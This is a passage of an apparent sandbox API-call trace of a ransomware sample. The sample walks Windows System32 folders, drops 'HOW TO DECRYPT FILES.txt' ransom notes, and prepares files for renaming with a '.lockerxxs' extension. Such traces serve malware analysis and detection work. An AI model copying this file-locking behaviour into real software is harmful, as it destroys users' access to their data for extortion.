ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cnvfat.dll") returned 1 [0144.113] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cnvfat.dll") returned 1 [0144.113] lstrcmpiA (lpString1="", lpString2="cnvfat.dll") returned -1 [0144.113] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cngprovider.dll") returned="cngprovider.dll" [0144.113] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.113] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.113] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.113] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.113] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cnvfat.dll" | out: lpString1="C:\\Windows\\System32\\cnvfat.dll") returned="C:\\Windows\\System32\\cnvfat.dll" [0144.114] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x0, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0144.114] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.114] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="colbact.dll") returned 1 [0144.114] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="colbact.dll") returned 1 [0144.114] lstrcmpiA (lpString1="", lpString2="colbact.dll") returned -1 [0144.114] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cnvfat.dll") returned="cnvfat.dll" [0144.114] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.114] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.114] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.114] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.114] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="colbact.dll" | out: lpString1="C:\\Windows\\System32\\colbact.dll") returned="C:\\Windows\\System32\\colbact.dll" [0144.115] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x0, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0144.115] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.250] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="COLORCNV.DLL") returned 1 [0144.250] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="COLORCNV.DLL") returned 1 [0144.250] lstrcmpiA (lpString1="", lpString2="COLORCNV.DLL") returned -1 [0144.250] PathFindFileNameA (pszPath="C:\\Windows\\System32\\colbact.dll") returned="colbact.dll" [0144.250] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.250] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.250] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.251] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.251] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="COLORCNV.DLL" | out: lpString1="C:\\Windows\\System32\\COLORCNV.DLL") returned="C:\\Windows\\System32\\COLORCNV.DLL" [0144.252] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x306ea9d6, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x306ea9d6, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x67989d40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcpl.exe", cAlternateFileName="")) returned 1 [0144.252] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.252] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="colorcpl.exe") returned 1 [0144.252] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="colorcpl.exe") returned 1 [0144.252] lstrcmpiA (lpString1="", lpString2="colorcpl.exe") returned -1 [0144.252] PathFindFileNameA (pszPath="C:\\Windows\\System32\\COLORCNV.DLL") returned="COLORCNV.DLL" [0144.252] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.252] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.252] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.252] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.252] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="colorcpl.exe" | out: lpString1="C:\\Windows\\System32\\colorcpl.exe") returned="C:\\Windows\\System32\\colorcpl.exe" [0144.253] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0144.253] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.253] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="colorui.dll") returned 1 [0144.253] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="colorui.dll") returned 1 [0144.253] lstrcmpiA (lpString1="", lpString2="colorui.dll") returned -1 [0144.253] PathFindFileNameA (pszPath="C:\\Windows\\System32\\colorcpl.exe") returned="colorcpl.exe" [0144.253] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.253] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.254] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.254] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.254] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="colorui.dll" | out: lpString1="C:\\Windows\\System32\\colorui.dll") returned="C:\\Windows\\System32\\colorui.dll" [0144.254] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f9c6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="com", cAlternateFileName="")) returned 1 [0144.256] lstrcmpA (lpString1=".", lpString2="com") returned -1 [0144.256] lstrcmpA (lpString1="..", lpString2="com") returned -1 [0144.256] PathFindFileNameA (pszPath="C:\\Windows\\System32\\colorui.dll") returned="colorui.dll" [0144.257] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="com" | out: lpString1="C:\\Windows\\System32\\com") returned="C:\\Windows\\System32\\com" [0144.257] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\com\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f9c6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0144.263] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.263] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f9c6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0144.263] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.263] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.263] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dcca2a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd4dcca2a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="comadmin.dll", cAlternateFileName="")) returned 1 [0144.263] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.263] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="comadmin.dll") returned 1 [0144.263] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="comadmin.dll") returned 1 [0144.263] lstrcmpiA (lpString1="", lpString2="comadmin.dll") returned -1 [0144.263] PathFindFileNameA (pszPath="C:\\Windows\\System32\\com\\*.*") returned="*.*" [0144.263] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\com\\" | out: lpString1="C:\\Windows\\System32\\com\\") returned="C:\\Windows\\System32\\com\\" [0144.263] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\com\\" | out: pszPath="C:\\Windows\\System32\\com\\") returned="" [0144.263] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt" [0144.264] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\com\\how to decrypt files.txt")) returned 0xffffffff [0144.264] CreateFileA (lpFileName="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\com\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0144.267] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.267] CloseHandle (hObject=0x88) returned 1 [0144.267] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\", lpString2="comadmin.dll" | out: lpString1="C:\\Windows\\System32\\com\\comadmin.dll") returned="C:\\Windows\\System32\\com\\comadmin.dll" [0144.268] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc146b5dc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc146b5dc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc149173c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="comempty.dat", cAlternateFileName="")) returned 1 [0144.268] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.268] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="comempty.dat") returned 1 [0144.268] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="comempty.dat") returned 1 [0144.268] lstrcmpiA (lpString1="", lpString2="comempty.dat") returned -1 [0144.268] PathFindFileNameA (pszPath="C:\\Windows\\System32\\com\\comadmin.dll") returned="comadmin.dll" [0144.268] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\com\\" | out: lpString1="C:\\Windows\\System32\\com\\") returned="C:\\Windows\\System32\\com\\" [0144.268] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\com\\" | out: pszPath="C:\\Windows\\System32\\com\\") returned="" [0144.268] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt" [0144.268] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\com\\how to decrypt files.txt")) returned 0x20 [0144.268] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\", lpString2="comempty.dat" | out: lpString1="C:\\Windows\\System32\\com\\comempty.dat") returned="C:\\Windows\\System32\\com\\comempty.dat" [0144.269] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\System32\\com\\comempty.dat" | out: lpString1="C:\\Windows\\System32\\com\\comempty.dat") returned="C:\\Windows\\System32\\com\\comempty.dat" [0144.269] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\System32\\com\\comempty.dat" | out: lpString1="C:\\Windows\\System32\\com\\comempty.dat") returned="C:\\Windows\\System32\\com\\comempty.dat" [0144.269] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\comempty.dat", lpString2="." | out: lpString1="C:\\Windows\\System32\\com\\comempty.dat.") returned="C:\\Windows\\System32\\com\\comempty.dat." [0144.269] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\comempty.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\System32\\com\\comempty.dat.lockerxxs") returned="C:\\Windows\\System32\\com\\comempty.dat.lockerxxs" [0144.269] CreateFileA (lpFileName="C:\\Windows\\System32\\com\\comempty.dat" (normalized: "c:\\windows\\system32\\com\\comempty.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.270] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74a1005, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd74a1005, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x679d5830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="comrepl.exe", cAlternateFileName="")) returned 1 [0144.270] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.270] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="comrepl.exe") returned 1 [0144.270] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="comrepl.exe") returned 1 [0144.270] lstrcmpiA (lpString1="", lpString2="comrepl.exe") returned -1 [0144.270] PathFindFileNameA (pszPath="C:\\Windows\\System32\\com\\comempty.dat") returned="comempty.dat" [0144.270] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\com\\" | out: lpString1="C:\\Windows\\System32\\com\\") returned="C:\\Windows\\System32\\com\\" [0144.270] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\com\\" | out: pszPath="C:\\Windows\\System32\\com\\") returned="" [0144.270] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt" [0144.270] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\com\\how to decrypt files.txt")) returned 0x20 [0144.270] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\", lpString2="comrepl.exe" | out: lpString1="C:\\Windows\\System32\\com\\comrepl.exe") returned="C:\\Windows\\System32\\com\\comrepl.exe" [0144.270] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa35dd730, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmp", cAlternateFileName="")) returned 1 [0144.270] lstrcmpA (lpString1=".", lpString2="dmp") returned -1 [0144.270] lstrcmpA (lpString1="..", lpString2="dmp") returned -1 [0144.270] PathFindFileNameA (pszPath="C:\\Windows\\System32\\com\\comrepl.exe") returned="comrepl.exe" [0144.271] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\", lpString2="dmp" | out: lpString1="C:\\Windows\\System32\\com\\dmp") returned="C:\\Windows\\System32\\com\\dmp" [0144.271] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\com\\dmp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa35dd730, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501548, cFileName=".", cAlternateFileName="")) returned 0x502598 [0144.271] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.271] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa35dd730, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0144.271] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.271] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.271] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa35dd730, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 0 [0144.272] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0144.272] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229791ec, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6d0064, dwReserved1=0x70, cFileName="en-US", cAlternateFileName="")) returned 1 [0144.272] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0144.272] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0144.272] PathFindFileNameA (pszPath="C:\\Windows\\System32\\com\\*.*") returned="*.*" [0144.272] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\", lpString2="en-US" | out: lpString1="C:\\Windows\\System32\\com\\en-US") returned="C:\\Windows\\System32\\com\\en-US" [0144.272] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\com\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229791ec, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0144.272] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.272] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229791ec, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.273] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.273] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.273] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="comrepl.exe.mui", cAlternateFileName="")) returned 1 [0144.273] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.273] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="comrepl.exe.mui") returned 1 [0144.273] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="comrepl.exe.mui") returned 1 [0144.273] lstrcmpiA (lpString1="", lpString2="comrepl.exe.mui") returned -1 [0144.273] PathFindFileNameA (pszPath="C:\\Windows\\System32\\com\\en-US\\*.*") returned="*.*" [0144.273] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\com\\en-US\\" | out: lpString1="C:\\Windows\\System32\\com\\en-US\\") returned="C:\\Windows\\System32\\com\\en-US\\" [0144.273] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\com\\en-US\\" | out: pszPath="C:\\Windows\\System32\\com\\en-US\\") returned="" [0144.273] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\com\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\com\\en-US\\HOW TO DECRYPT FILES.txt" [0144.273] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\com\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\com\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0144.273] CreateFileA (lpFileName="C:\\Windows\\System32\\com\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\com\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0144.275] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, 